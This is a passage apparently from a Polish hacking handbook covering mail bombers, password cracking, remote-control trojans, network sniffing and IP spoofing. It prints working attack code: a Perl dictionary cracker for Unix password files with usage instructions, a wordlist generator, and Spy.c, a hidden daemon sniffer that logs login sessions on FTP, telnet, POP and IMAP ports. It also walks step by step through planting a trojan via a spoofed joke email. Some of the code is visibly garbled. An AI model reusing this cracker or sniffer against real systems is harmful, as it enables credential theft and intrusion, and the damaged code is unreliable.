Reasumując, hakerzy wysyłający podrobione wiadomości pocztowe korzystają z programów, takich jak Avalanche (lub pracujący w trybie DOS Mailflash), i serwera, który nie rejestruje adresów IP. Innym programem „bombardującym” jest Up Yours (patrz rysunek 7.6). Oba zostały zoptymalizowane pod kątem dwóch kluczowych czynników: zachowania anonimowości i dużej szybkości pracy. Avalanche wysyła 20 wiadomości e-mail w czasie, średnio, pięciu do siedmiu sekund, wykorzystując pięć procesów i połączenie 28,8 Kb/s. Oba wymienione programy generują odpowiednie nagłówki, ukrywające tożsamość nadawcy.

Rysunek 7.6. Panel sterowania programu bombardowania pocztowego Up Yours

Aby ochronić użytkowników przed bombardowaniem i spamowaniem, stosuje się programy takie jak Bombsquad. Program ten umożliwia usunięcie bomb pocztowych, a pobranie i zapisanie wiadomości istotnych. Może współpracować z dowolną skrzynką, dla której zapewniona została obsługa protokołu POP3. Bombsquad jest jedynie przykładem o dwojakim zarazem znaczeniu — w sieci krąży bowiem wiele wersji tego programu, połączonych z, umożliwiającym zdalny dostęp, koniem trojańskim, znacznie bardziej niebezpiecznym niż bombardowanie skrzynek pocztowych. Kompilacje takie, w chwili pisania tego tekstu, dostępne są pod nazwami: squad1.zip, squad.zip, bomsq.zip i bmsquad.rar.

Więcej informacji o sposobach przeciwdziałania nadużyciom związanym z pocztą elektroniczną znaleźć można w tomie II Hack wars. Tom 2. Administrator kontratakuje wydawnictwa Helion i w witrynie biuletynu informacyjnego Computer Incident Advisory Capability (CIAC) pod adresem http://ciac.llnl.gov/ciac/bulletins/ i-005c.shtml.

Łamanie haseł (password cracking)

Zapomniałeś hasła? Twoje hasła uległy zniszczeniu? Musisz dostać się do plików czy systemu zabezpieczonego hasłem? Zwolniony pracownik nie usunął zabezpieczeń ze swoich plików? A może po prostu chcesz się dowiedzieć, w jaki sposób haker może uzyskać dostęp do Twojej sieci, systemu czy plików?

W typowym systemie komputerowym każdy użytkownik korzysta z jednego, zawsze tego samego hasła tak długo, aż sam, lub administrator, zdecyduje o jego zmianie. Po wprowadzeniu przez użytkownika mechanizmy uwierzytelniania komputera szyfrują hasło, zamieniają na ciąg znaków i porównują z długą listą, przechowywaną najczęściej w jednym z plików systemu. Odnalezienie dopasowania ciągu hasła i nazwy logowania warunkuje dostęp do systemu. Takie rozwiązanie powoduje, że często podstawowym celem ataku hakera jest właśnie plik haseł. W zależności od konfiguracji uzyskanie pewnego poziomu dostępu umożliwia utworzenie kopii takiego pliku. Wówczas pozostaje już tylko uruchomienie odpowiedniego programu do łamania haseł, który przetworzy zaszyfrowane ciągi znaków na właściwe hasła.

Podstawą działania programów do łamania haseł jest szyfrowanie, kolejno, długiej listy różnorodnych ciągów znakowych, na przykład całego słownika, i porównywanie ciągów wynikowych z odnalezionymi w pliku. Znalezienie tylko jednego dopasowania umożliwia uzyskanie dostępu. Atak taki nie wymaga dużych umiejętności, a w Internecie dostępnych jest wiele pomocnych programów. Część systemów chroni się przed tego rodzaju włamaniami, zabezpieczając mocno plik haseł. Trudniej jednak uniknąć snifferów, którymi zajmiemy się kilka stron dalej.

Deszyfrowanie i krakowanie

Wbrew rozpowszechnionemu mniemaniu zaszyfrowane algorytmem jednokierunkowym hasła systemu UNIX nie są łatwe do późniejszego odszyfrowania. Program logowania szyfruje wprowadzany jako hasło tekst i porównuje ciąg wynikowy z zaszyfrowanym hasłem użytkownika. Programy do łamania haseł korzystają z list słów. Są one kolejno szyfrowane i porównywane z hasłem właściwym, również w jego szyfrowanej postaci. Jednym z najpopularniejszych, historycznym programem do łamania haseł systemu UNIX jest xcrack.pl, napisany przez guru manicx.

xcrack.pl

# start xcrack.pl

#system("cls"); # Czyszczenie ekranu terminalu lub DOS-u

# i wypisanie poniższych informacji

print ("\n \t\t-------------------------------");

print ("\n \t\t\t Xcrack V1.00");

print ("\n \t\thttp://www.infowar.co.uk/manicx");

print ("\n \t\t-------------------------------\n");

if ($#ARGV < 1) {

usage(); # Jeżeli nie ma argumentów - sposób użycia

exit;

}

$passlist = $ARGV[0]; # plik haseł

$wordlist = $ARGV[1]; # lista słów

# ------------- Main Start ---------------------------------

getwordlist(); # pobranie słów do tablicy

getpasslist(); # pobranie nazwy logowania i hasła

print ("\n\tFinished - ", $wordlist, " - Against - ", $passlist);

#------------------------------------------------------------

sub getpasslist{

open (PWD, $passlist) or die (" No Good Name for password File ", $passlist, "\n");

while (<PWD>)

{

($fname, $encrypted, $uid, $gid, $cos, $home, $shell) = split ( /:/);

if ($encrypted eq "\*") # sprawdzenie czy konto jest zablokowane

{

print "Account :", $fname, " \t ------ Disabled\n";

next; # do kolejnego odczytu

}

if ($encrypted eq "x") # sprawdzenie czy konto jest zablokowane

{

print "Account :", $fname, " \t ------ Disabled\n";

next; # do kolejnego odczytu

}

if ($encrypted eq "") # sprawdzenie czy konto ma hasło

{

print "Account :", $fname, " \t ------ No Password\n";

next; # do kolejnego odczytu

}

enccompare(); # kolejna Sub

}

close (PWD); #zamknięcie pliku haseł

}

#------------------------------------------------------------

sub getwordlist{

open (WRD, $wordlist) or die (" No Good Name for wordfile ", $wordlist, "\n");

while (<WRD>)

{

@tmp_array = split; #Pobranie całej zawartości

push @word_array, [@tmp_array]; #naszego pliku słownika i

#umieszczenie w tablicy

}

close (WRD); #zamknięcie listy słów

}

#------------------------------------------------------------

sub enccompare{

for $password ( @word_array)

{ $encword = crypt (@$password[0], $encrypted); #szyfrujemy słowo tak samo,

if ($encword eq $encrypted) # jak zaszyfrowano hasło

{

print "Account :",$fname, " \t ------ \aPassword : ", @$password[0], "\n";

last; #Gdy się uda, podajemy nazwę, hasło i przerywamy pętlę

}

}

}

#------------------------------------------------------------

sub usage { print "usage = perl xcrack.pl PASSWORDFILE WORDFILE\n"; }

# Koniec xcrack.pl # jeżeli nie ma ARGV's, sposób użycia

Program uruchamia polecenie:

perl xcrack.pl PLIK_HASEŁ PLIK_SŁOWNIKA

Najnowsza wersja języka Perl jest dostępna pod adresami www.Perl.com, www.perl.org. Program musi korzystać z pliku słownika (na przykład jednego z umieszczonych na dołączonym do książki CD-ROM-ie). Aby utworzyć własny plik haseł, możemy skorzystać z crypt.pl.

crypt.pl

# Sposób użycia "Perl crypt.pl nazwa hasło uid gid cos home

# początek crypt.pl

if ($#ARGV < 1) {

usage();

exit;

}

$file = "password"; # zmienna z nazwą pliku

$username = $ARGV[0]; # nazwa użytkownika

$password = $ARGV[1]; # hasło niezaszyfrowane

$uid = $ARGV[2]; # uid

$gid = $ARGV[3]; # gid

$cos= $ARGV[4]; # cos

$home= $ARGV[5]; # katalog macierzysty

$shell= $ARGV[6]; # używany shell

$encrypted = crypt ($password, "PH"); # szyfrowanie hasła

#otwarcie pliku do dołączania

open (PWD, ">>$file") or die ("Cant open Password File\n");

#zapisanie danych, rozdzielonych ':'

print PWD $username, ":", $encrypted, ":", $uid, ":", $gid, ":", $cos, ":", $home, ":", $shell, "\n";

close (PWD); #closes the file

print "Added ok";

sub usage{

print "\nUsage perl crypt.pl username password uid gid cos home shell\n";

}

# Koniec crypt.pl

Kolejny skrypt Perla służy do tworzenia list słów złożonych ze znaków wybranych losowo.

if ($#ARGV < 1) {

usage(); # Jeżeli nie ma argumentów - sposób użycia

exit;

}

$word = $ARGV[0];

$many = $ARGV[1];

srand(time);

# tablica wybieranych losowo znaków

# można usunąć te, których na pewno nie ma w haśle

# lub dodać narodowe

@c=split(/ */, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");

open (CONF, ">$word") or die ("\nFile Error With Output File\n");

# powtórzymy te wiersze $many razy.

for($i=0; $i <$many; $i +=1)

{

print CONF $c[int(rand(62))], $c[int(rand(62))], $c[int(rand(62))],

$c[int(rand(62))], $c[int(rand(62))], $c[int(rand(62))],

$c[int(rand(62))], $c[int(rand(62))];

print CONF "\n";

}

sub usage

{

print "\n\tusage = perl wordlist.pl OUTPUTFILE NumberOfWords \n";

}

# W kolejnej wersji chcę korzystać z szablonów wejściowych, np.

# hasło rozpoczyna się od 'John', ma 8 znaków, żadnych liczb i

# dużych liter.

# Poniżej generujemy słowa takie jak bababa99. Kod wymaga

# pewnego dopracowania, ale można go użyć, jeżeli nie możesz

# czekać...

# @c=split(/ */, "bcdfghjklmnpqrstvwxyz");

# @v=split(/ */, "aeiou");

# {

# print CONF $c[int(rand(21))], $v[int(rand(5))],

# $c[int(rand(21))], $v[int(rand(5))],

# $c[int(rand(21))], $v[int(rand(5))],

# int(rand(10)), int(rand(10));

# print CONF "\n";

# }

Najpopularniejszym narzędziem do łamania haseł w środowisku Windows jest UnSecure (patrz rysunek 7.7). Program ma szerokie możliwości doboru typu haseł, ułatwiające odnalezienie właściwego. Obecnie umożliwia on złamanie większości haseł pod kontrolą systemów Windows 9x, Windows NT, Mac, UNIX i innych, bez względu na


Rysunek 7.7. Program do łamania haseł — UnSecure

stosowanie zapór. Program zaprojektowany został do wykorzystania w środowisku sieci lokalnej, jednak może pracować również przy połączeniu telefonicznym. Na komputerze Pentium 233 UnSecure sprawdza listę 98 000 słów w pięć minut (w obrębie sieci lokalnej).

Program korzysta z dwóch technik łamania haseł: ataku słownikowego i ataku na zasadzie pełnego przeglądu (brute-force attack). Atak słownikowy opiera się na pliku, który zawiera wszystkie sprawdzane słowa i ich kombinacje, rozdzielone spacjami, znakami nowego wiersza itp. Atak na zasadzie pełnego przeglądu umożliwia sprawdzenie wszystkich możliwych kombinacji wskazanych znaków („a” - „z”, „A” - „Z”, „0” - „9” i specjalnych).

Do zabezpieczania przed przechwyceniem zawartości pliku haseł stosuje się technikę password shadowing, polegającą na tym, że pole hasła w pliku /etc/ passwd zastępuje się specjalnym znacznikiem. Właściwe hasło umieszczane jest w odrębnym pliku, na przykład /etc/shadow lub /etc/master.passwd. W takiej sytuacji program hakera musi wywoływać sukcesywnie funkcję getpwent().

Zdalne przejęcie kontroli

Wraz z rozwojem Internetu i współpracy sieciowej pojawia się coraz więcej programów, przy których nawet najgroźniejszy wirus wydaje się niemal nieszkodliwy. Celem takich programów jest umożliwienie osobie nieuprawnionej przejęcia kontroli nad serwerem sieciowym lub osobistą stacją roboczą. Po zainstalowaniu takiego demona haker może przejmować hasła, korzystać z dostępu do kont (również pocztowych), modyfikować dokumenty, udostępniać dyski, rejestrować wciśnięcia klawiszy, zawartość ekranu, a nawet wykorzystać mikrofon komputera do podsłuchiwania rozmów.

Aby w pełni uświadomić sobie znaczenie takiego przejęcia kontroli, należy wiedzieć, jakie możliwości uzyskuje haker: może dysponować naszymi kontami online, przeglądać prywatną korespondencję, rozsyłać spam lub szkodzące odbiorcom wiadomości pocztowe, a nawet podglądać zawartość naszego ekranu. Wyjątkowo niebezpieczne odmiany tego rodzaju oprogramowania oferują funkcje czyszczenia całych dysków albo wręcz doprowadzania do uszkodzenia monitora. Znane są sytuacje, gdy ofiara tego rodzaju ataku spokojnie używała swojego komputera do własnej pracy w czasie, gdy ten był wykorzystywany do popełniania przestępstwa. Trudno w takiej sytuacji udowodnić własną niewinność, zwłaszcza że po popełnieniu poważnego przestępstwa, haker dba szczególnie dokładnie o usunięcie śladów swojej działalności (stosując przedstawione wcześniej techniki zacierania śladów).

Programy służące do zdalnego przejmowania kontroli określa się nazwą demonów zdalnego sterowania (remote-control daemons). Są one najczęściej rozprowadzane jako programy-żarty, gry, obrazki, wygaszacze ekranu, życzenia świąteczne albo pomocne narzędzia. Jako najbardziej rozpowszechnione należy wymienić trzy: Netbus, Back Orifice i SubSeven. Ich liczba jest jednak znacznie większa. Najczęściej spotykane mutacje wymieniamy w rozdziale 3.

Pakiety antywirusowe czy wyszukujące konie trojańskie, jak dotąd często nie dotrzymują kroku szybkiemu powstawaniu coraz to nowych kompilacji. Co gorsza, dystrybucja i korzystanie z tych programów nie wymaga dużych umiejętności. Większość z nich wyposażona została w programy klienckie z interfejsem GUI i bogatym menu. Dość aktualnym przykładem jest rozpowszechniana przez hakerów jako załącznik do emailowego spamu mutacja popularnego demona zdalnego sterowania BackDoor-G, nazwana BACK-AGN. Adres nadawcy jest zazwyczaj podrobiony — oznacza to, że można spodziewać się zupełnie dowolnej, rzekomej tożsamości nadawcy. Gdy użytkownik uruchamia załącznik, program instaluje się w systemie. BACK-AGN to pracujący w systemie Windows 9x internetowy koń trojański, otwierający w systemie lukę umożliwiającą praktycznie nieograniczony dostęp do systemu.

Niepokojącym zjawiskiem jest to, że wciąż dostępnych jest wiele wersji programów, takich jak BackDoor-G, których działanie pozostaje niemal niewykrywalne dla przeciętnego użytkownika, mimo że pliki, które instalują w folderach Windows i Windows\ System są dość charakterystyczne. Obie wymienione tu mutacje korzystają z pliku BackDoor-G.ldr, umieszczanego w folderze Windows. Jest to program ładujący z tego samego folderu właściwy moduł serwera, BackDoor-G.srv. Odbiera on i wykonuje przesłane Internetem polecenia. Dodatkowo wykorzystywana jest biblioteka DLL o nazwie WATCHING.DLL lub LMDRK_32.DLL, przechowywana w folderze Windows\ System. Program prowadzi nasłuch w oczekiwaniu połączeń realizowanych przez klienta, którego głównym plikiem jest BackDoor-G.dll. Dalsze elementy to program klienta, BackDoor-G.cli, i program konfiguracyjny, BackDoor-G.cfg.

Aby przybliżyć istotę ataku prowadzącego do zdalnego przejęcia kontroli nad systemem, odtworzymy teraz przebieg rzeczywistego przypadku. Podobne zdarzają się gdzieś na świecie niemal codziennie.

Krok 1. Rozpoznanie

Pierwszym krokiem jest wybranie ofiary i przeprowadzenie odpowiedniego rozpoznania. Po uzyskaniu adresu email wyszukanego w reklamach, kanałach chat, grupach dyskusyjnych czy witrynie firmy, przy minimalnym wysiłku ustalić można zakresy adresów IP usługodawcy internetowego, do którego przyłączona jest sieć docelowa. Dostępnych jest tu wiele metod: skanowanie portów, zapytania DNS, Finger, SMTP itd. (patrz rysunek 7.8).

Rysunek 7.8. Krok 1. — zdobycie adresów sieci docelowej

Krok 2. Przyjazna wiadomość email

Drugi krok to wybranie sposobu i środków wprowadzenia do atakowanej sieci konia trojańskiego. W tym konkretnym przypadku ofiara ataku dołączana była do list wysyłkowych, powszechnie używanych przez znajomych, rodzinę i specjalne witryny do rozsyłania najróżniejszych żartów, pozwalających odbiorcom oderwać się od trudu codziennej pracy. Tym razem żart był dość brzydki. Co więcej, e-mail (podszywający się pod wysłany z faktycznie istniejącej witryny, patrz rysunek 7.9) dotarł do odbiorcy pod koniec godzin pracy. Jest to najlepszy pod tym względem czas, ze względu na coraz silniejszą chęć rozładowania napięcia całego dnia.

Rysunek 7.9. Krok 2. — podrobienie wiadomości e-mail

Tekst wiadomości był kopią faktycznie rozsyłanych masowo listów z żartami, plotkami o gwiazdach filmowych i reklamami. Z dwóch załączników pierwszy był faktycznym żartem w formacie Flash, dystrybuowanym przez www.Stangeland.com (patrz rysunek 7.10).

Rysunek 7.10. Koń trojański zamaskowany jako żart w formacie Flash

Drugi załącznik (rzekomy drugi żart tego rodzaju) nie wyświetlał żadnych komunikatów o błędach, ale — ku rozczarowaniu zaatakowanego — nic w zasadzie nie robił. Zostało to zresztą kilkakrotnie sprawdzone...

Krok 3. Kolejna ofiara

Na tym etapie haker odczekuje kilka dni, na wypadek gdyby ofiara dysponowała środkami wykrycia przeprowadzonego ataku.

Porty 1010 - 1015

Usługa: Doly Trojan

Strategia hakera: Koń trojański wyróżniający się udostępnieniem całkowitej kontroli nad celem ataku (patrz rysunek 7.11). Jest to więc demon szczególnie niebezpieczny. Znane są przypadki korzystania z różnych portów, a plotki mówią, że zmieniana może być nazwa pliku.

Rysunek 7.11. Doly Trojan — zdalne sterowanie

Korzystanie z narzędzia jest faktycznie bardzo proste. Jest doskonałą ilustracją tego, jak niewielkie doświadczenie jest niezbędne, aby włamywać się do systemów przy użyciu demonów zdalnego sterowania.

Kończąc opis przypadku, po upływie pewnego okresu oczekiwania, przychodzi czas na przeprowadzenie skanowania portu, którego używać ma zastosowany koń trojański. Można również oczekiwać, że program znajdzie się na innych stacjach. Udany atak przedstawia rysunek 7.12.

Rysunek 7.12. Przykładowe skutki zainstalowania demona Doly Trojan

Monitorowanie komunikacji (sniffing)

„Sniffery” lub „podsłuchiwacze sieciowe” to programy, które pasywnie przechwytują i kopiują pakiety komunikacji sieciowej systemu, serwera, routera lub bramy. Pożytecznym zastosowaniem tego rodzaju oprogramowania jest monitorowanie i rozwiązywanie problemów z siecią. Używane przez hakerów sniffery „ciche” stanowią poważne zagrożenie sieci, głównie ze względu na małą wykrywalność i możliwość przeprowadzania autoinstalacji w niemal dowolnym systemie. Wyobraźmy sobie kolejny, czwarty krok w przedstawionym wcześniej przypadku — zainstalowanie w zaatakowanym systemie sniffera. Od tego momentu, jeśli sprzyja temu topologia siecie, atakowi podlega cała sieć, a nie tylko pojedynczy system.

Dla celów niniejszej dyskusji przyjąć możemy, że przeprowadzony został atak podobny do przedstawionego, w którym wykorzystano sniffer. Większość odmian podsłuchiwaczy sieciowych przewiduje możliwość wykrywania i wybierania do kopiowania danych, które zawierają na przykład nazwę logowania i hasło. Najbardziej podatne na przechwycenie są dane logowania zdalnego, telefonicznego, połączeń wirtualnych, ekstranetów itp., ze względu na ilość pośredniczących w komunikacji bram. Wyobraźmy sobie tysiące nazw logowania i haseł, które można przechwycić, lokując nieautoryzowany szperacz sieciowy na jednej z istotniejszych bram w Internecie.

Jak już wspomniano, podsłuchiwacz sieciowy może być nieocenioną pomocą w diagnozowaniu problemów z siecią, przyjrzyjmy się więc bliżej jego pracy. Pomoże to w pełni zrozumieć konsekwencje potencjalnego ataku.

Podstawą działania sniffera jest tworzenie kopii danych odbieranych i wysyłanych przez interfejs sieciowy lub modem. Znaleźć można wśród nich najróżniejsze informacje. Ich zakres zilustrujemy kilkoma przykładami. Na najniższym poziomie uzyskujemy adresy MAC i IP (patrz rysunek 7.13). Dla przypomnienia, adres IP jest adresem logicznym stacji, a adres MAC — trwałym adresem fizycznym interfejsu siecio­wego. Adresy MAC wykorzystywane są w komunikacji sieciowej na poziomie łącza danych. Komunikat wysłany do segmentu sieci analizowany jest przez każdą obierającą go kartę sieciową pod kątem zgodności docelowego adresu sprzętowego (musi być zgodny z adresem karty odbierającej lub być adresem rozgłaszania). Na tej podstawie podejmowana jest decyzja o odebraniu ramki lub ignorowaniu jej. Co jednak się dzieje, gdy nie znamy adresu MAC stacji, z którą mamy nawiązać komunikację? W takim wypadku na adres MAC rozgłaszania wysyłany jest komunikat protokołu odwzorowywania adresów ARP. Jest to żądanie, aby każdy z komputerów o adresie IP xxx.xxx.xxx.xxx odesłał swój adres IP. Odpowiedź odsyła każdy z komputerów w segmencie sieci.

Rysunek 7.13. Zdobycie adresów IP i MAC nie jest trudne

Przechwyceniu może ulec również wiele informacji z wyższych warstw sieci. Na rysunku 7.14 widzimy przechwycone dane serwera NetWare. Poza nazwą protokołu uzyskane zostały informacje o punktach dostępu do usług (SAP, service access points). Korzystające z protokołu IPX serwery NetWare rozsyłają ramki rozgłaszania (SAP) w odpowiedzi na żądania get nearest server (GNS, podaj najbliższy serwer), generowane przez stacje wyszukujące określoną usługę. Nagłówek SAP zawiera: kod operacji (A=Żądanie, B=Odpowiedź) i typ usługi (0004H=Serwer plików, 0007H=Serwer wydruku). Kontynuowanie analizy ujawniłoby również numer sieci, węzła i adres serwera w danej sesji. Uzyskujemy również informację o liczbie przeskoków (sieci), wyznaczających „odległość” od serwera docelowego.

Rysunek 7.14. Gromadzenie informacji o sieci

Dostępna jest możliwość przechwytywania szerokiego spektrum informacji o współpracy międzysieciowej, danych routingu czy nawet kompletnych danych o architekturze sieci (patrz rysunek 7.15). Szperacz sieciowy staje się w zasadzie workiem prezentów, przynajmniej w zakresie rozpoznania sieci docelowej. Z przedstawionego przykładu dowiadujemy się, że protokołem wybierania tras w docelowej sieci złożonej jest RIP II. Sposób przedstawienia dalszych informacji przypomina, że główną przewagą protokołu RIP II nad jego pierwotną wersją jest obsługa masek podsieci o różnej długość (VLSM). Technika ta zapewnia pełne wykorzystanie zakresów adresowania IP, umożliwiając wykorzystanie maski do utworzenia dodatkowych podsieci. Uzyskujemy informacje o podziale sieci (10.1.2.0/24 i 10.1.3.0/24) i głównym routerze bramowym (172.29.44.1). Jak wyjaśnialiśmy to w rozdziale 1., maska 24-bitowa to w dziesiętnym zapisie 255.255.255.0. Mamy więc do czynienia z dwoma sieciami, w których znajdować się mogą podatne na włamanie komputery:

Rysunek 7.15. Istotne dane współpracy międzysieciowej

• 10.1.2.0/255.255.255.0

• 10.1.3.0/255.255.255.0

Nie można oczywiście zapomnieć o routerze pod adresem 172.29.44.1.

Te kilka przykładów powinno nieco przybliżyć wielkie możliwości „snifferów”. Narzędzia te znakomicie pomagają w monitorowaniu i testowaniu komunikacji jako służące do odczytywania pakietów sieciowych na różnym poziomie warstw OSI. Jednak i one mogą posłużyć mniej wzniosłym celom. Monitor sieciowy może umożliwić szybkie przechwycenie nazwy i hasła, skąd już tylko krok do rozszerzenia włamania na dalsze komputery.

Najpopularniejsze szperacze automatycznie dekodują i tłumaczą istotne informacje. Przykładami mogą być SpyNet, EtherSpy i Analyzer for PC-DOS. Jeden z najlepszych internetowych szperaczy, SpyNet (CaptureNet) dla Windows 95/98/NT, przechwytuje wszelkiego rodzaju pakiety sieciowe. Jego dodatkowy moduł, PeepNet, przeprowadza interpretację i próbę rekonstrukcji sesji. Program może rejestrować operacje w sieci, trwale znakując godzinę ich przeprowadzenia (co ma znaczenie jako dowód przestępstwa). Liczbę przechwytywanych pakietów można ograniczyć filtrami, rozpoznawane są podstawowe protokoły sieci Ethernet, program może pracować również na łączach telefonicznych. Na rysunku 7.16 przedstawiamy sekwencję logowania przechwyconą w trakcie telefonicznego logowania do Internetu (patrz rysunek 7.16).

Rysunek 7.16. Przechwytywanie haseł przesyłanych tekstem jawnym

Sniffery o podobnych możliwościach, pracujące w systemach UNIX i Macintosh, to przede wszystkim EtherReal i Spy.c. Drugi z nich przedstawiamy poniżej.

Spy.c

#define MAXIMUM_CAPTURE 256

// jak długo obserwujemy połączenie nieaktywne?

#define TIMEOUT 30

// nazwa pliku dziennika?

#define LOGNAME "tcp.log"

#include <Inc Mods>

int sock;

FILE *log;

struct connection

{

struct connection *next;

time_t start;

time_t lasthit;

unsigned long saddr;

unsigned long daddr;

unsigned short sport;

unsigned short dport;

unsigned char data[MAXIMUM_CAPTURE];

int bytes;

};

typedef struct connection *clistptr;

clistptr head,tail;

void add_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp)

{

clistptr newnode;

newnode=(clistptr)malloc(sizeof(struct connection));

newnode->saddr=sa;

newnode->daddr=da;

newnode->sport=sp;

newnode->dport=dp;

newnode->bytes=0;

newnode->next=NULL;

time(&(newnode->start));

time(&(newnode->lasthit));

if (!head)

{

head=newnode;

tail=newnode;

}

else

{

tail->next=newnode;

tail=newnode;

}

}

char *hostlookup(unsigned long int in)

{

static char blah[1024];

struct in_addr i;

struct hostent *he;

i.s_addr=in;

he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

if(he == NULL) strcpy(blah, inet_ntoa(i));

else strcpy(blah, he->h_name);

return blah;

}

char *pretty(time_t *t)

{

char *time;

time=ctime(t);

time[strlen(time)-6]=0;

return time;

}

int remove_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp)

{

clistptr walker,prev;

int i=0;

int t=0;

if (head)

{

walker=head;

prev=head;

while (walker)

{

if (sa==walker->saddr && da==walker->daddr && sp==walker->sport && dp==walker
* ->dport)

{

prev->next=walker->next;

if (walker==head)

{

head=head->next;;

prev=NULL;

}

if (walker==tail)

tail=prev;

fprintf(log,"============================================================\n");

fprintf(log,"Time: %s Size: %d\nPath: %s",pretty(&(walker->start))
* ,walker->bytes,hostlookup(sa));

fprintf(log," => %s [%d]\n-------------------------------------------------
* ----------\n",hostlookup(da),ntohs(dp));

fflush(log);

for (i=0;ibytes;i++)

{

if (walker->data[i]==13)

{

fprintf(log,"\n");

t=0;

}

if (isprint(walker->data[i]))

{

fprintf(log,"%c",walker->data[i]);

t++;

}

if (t>75)

{

t=0;

fprintf(log,"\n");

}

}

fprintf(log,"\n");

fflush(log);

free (walker);

return 1;

}

prev=walker;

walker=walker->next;

}

}

}

int log_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp,
* int bytes,char *buffer)

{

clistptr walker;

walker=head;

while (walker)

{

if (sa==walker->saddr && da==walker->daddr && sp==walker->sport && dp==walker-
* >dport)

{

time(&(walker->lasthit));

strncpy(walker->data+walker->bytes,buffer,MAXIMUM_CAPTURE-walker->bytes);

walker->bytes=walker->bytes+bytes;

if (walker->bytes>=MAXIMUM_CAPTURE)

{

walker->bytes=MAXIMUM_CAPTURE;

remove_node(sa,da,sp,dp);

return 1;

}

}

walker=walker->next;

}

}

void setup_interface(char *device);

void cleanup(int);

struct etherpacket

{

struct ethhdr eth;

struct iphdr ip;

struct tcphdr tcp;

char buff[8192];

} ep;

struct iphdr *ip;

struct tcphdr *tcp;

void cleanup(int sig)

{

if (sock)

close(sock);

if (log)

{

fprintf(log,"\nExiting...\n");

fclose(log);

}

exit(0);

}

void purgeidle(int sig)

{

clistptr walker;

time_t curtime;

walker=head;

signal(SIGALRM, purgeidle);

alarm(5);

// printf("Purging idle connections...\n");

time(&curtime);

while (walker)

{

if (curtime - walker->lasthit > TIMEOUT)

{

// printf("Removing node: %d,%d,%d,%d\n",walker->saddr,walker->daddr,walker-
* >sport,walker->dport);

remove_node(walker->saddr,walker->daddr,walker->sport,walker->dport);

walker=head;

}

else

walker=walker->next;

}

}

void setup_interface(char *device)

{

int fd;

struct ifreq ifr;

int s;

//otwieramy magiczny SOCK_PACKET

fd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));

if(fd < 0)

{

perror("cant get SOCK_PACKET socket");

exit(0);

}

//ustawiamy urządzenie w tryb pasywny

strcpy(ifr.ifr_name, device);

s=ioctl(fd, SIOCGIFFLAGS, &ifr);

if(s < 0)

{

close(fd);

perror("cant get flags");

exit(0);

}

ifr.ifr_flags |= IFF_PROMISC;

s=ioctl(fd, SIOCSIFFLAGS, &ifr);

if(s < 0) perror("cant set promiscuous mode");

sock=fd;

}

int filter(void)

{

int p;

p=0;

if(ip->protocol != 6) return 0;

p=0;

if (htons(tcp->dest) == 21) p= 1;

if (htons(tcp->dest) == 23) p= 1;

if (htons(tcp->dest) == 106) p= 1;

if (htons(tcp->dest) == 109) p= 1;

if (htons(tcp->dest) == 110) p= 1;

if (htons(tcp->dest) == 143) p= 1;

if (htons(tcp->dest) == 513) p= 1;

if (!p) return 0;

if(tcp->syn == 1)

{

// printf("Adding node syn %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp-* >dest);

add_node(ip->saddr,ip->daddr,tcp->source,tcp->dest);

}

if (tcp->rst ==1)

{

// printf("Removed node rst %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp-* >dest);

remove_node(ip->saddr,ip->daddr,tcp->source,tcp->dest);

}

if (tcp->fin ==1)

{

// printf("Removed node fin %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp-* >dest);

remove_node(ip->saddr,ip->daddr,tcp->source,tcp->dest);

}

log_node(ip->saddr,ip->daddr,tcp->source,tcp->dest,htons(ip->tot_len)-sizeof
* (ep.ip)-sizeof(ep.tcp), ep.buff-2);

}

void main(int argc, char *argv[])

{

int x,dn;

clistptr c;

head=tail=NULL;

ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);

if (fork()==0)

{

close(0); close(1); close(2);

setsid();

dn=open("/dev/null",O_RDWR);

dup2(0,dn); dup2(1,dn); dup2(2,dn);

close(dn);

setup_interface("eth0");

signal(SIGHUP, SIG_IGN);

signal(SIGINT, cleanup);

signal(SIGTERM, cleanup);

signal(SIGKILL, cleanup);

signal(SIGQUIT, cleanup);

signal(SIGALRM, purgeidle);

log=fopen(LOGNAME,"a");

if (log == NULL)

{

fprintf(stderr, "cant open log\n");

exit(0);

}

alarm(5);

while (1)

{

x=read(sock, (struct etherpacket *)&ep, sizeof(struct etherpacket));

if (x>1)

{

filter();

}

}

}

}

Podrabianie IP i DNS (spoofing)

Podrabianie IP i DNS stosowane jest głównie w celu przejęcia tożsamości stacji zaufanej, aby oszukać zabezpieczenia i uzyskać możliwość nieuprawnionej komunikacji ze stacją docelową. Gdy podrabiany jest adres IP, haker najpierw wyłącza stację zaufaną z komunikacji i dopiero w drugim kroku przyjmuje jej tożsamość. Stacja docelowa kontynuuje wówczas komunikację ze stacją nieuprawnioną. Zapoznanie z mechanizmem podrabiania IP wymaga dobrej znajomości protokołów IP i TCP oraz procedury wymiany potwierdzeń (handshaking). Pisaliśmy o nich we wcześniejszych rozdziałach.

Podrobienie adresu IP wymaga znajomości odpowiedniego adresu zaufanej stacji oraz zmodyfikowania nagłówków wysyłanych przez nią pakietów, tak aby nie miały one postaci pakietów uprawnionych do komunikacji. Jak już powiedzieliśmy, podszycie się pod stację zaufaną wymaga wyłączenia jej z komunikacji. Podrobienie adresu źródłowego jest możliwe dzięki temu, że większość oprogramowania komunikacji międzysieciowej nie kontroluje tego pola w przekazywanych pakietach. Aby włączyć się do komunikacji, haker musi jednak przewidzieć przesyłane przez stację docelową sekwencje TCP (patrz rysunek 7.17).

Najbardziej typowe techniki podrabiania IP obejmują przechwytywanie i modyfikowanie przesyłanych między dwoma stacjami pakietów, przekierowywanie trasy lub (i) pakietów ze stacji docelowej do atakującej, przewidywanie odpowiedzi stacji docelowej oraz różne odmiany nękania przeciążeniowego TCP SYN.

Rysunek 7.17. Przykład podszywania się pod adres IP

Studium przypadku

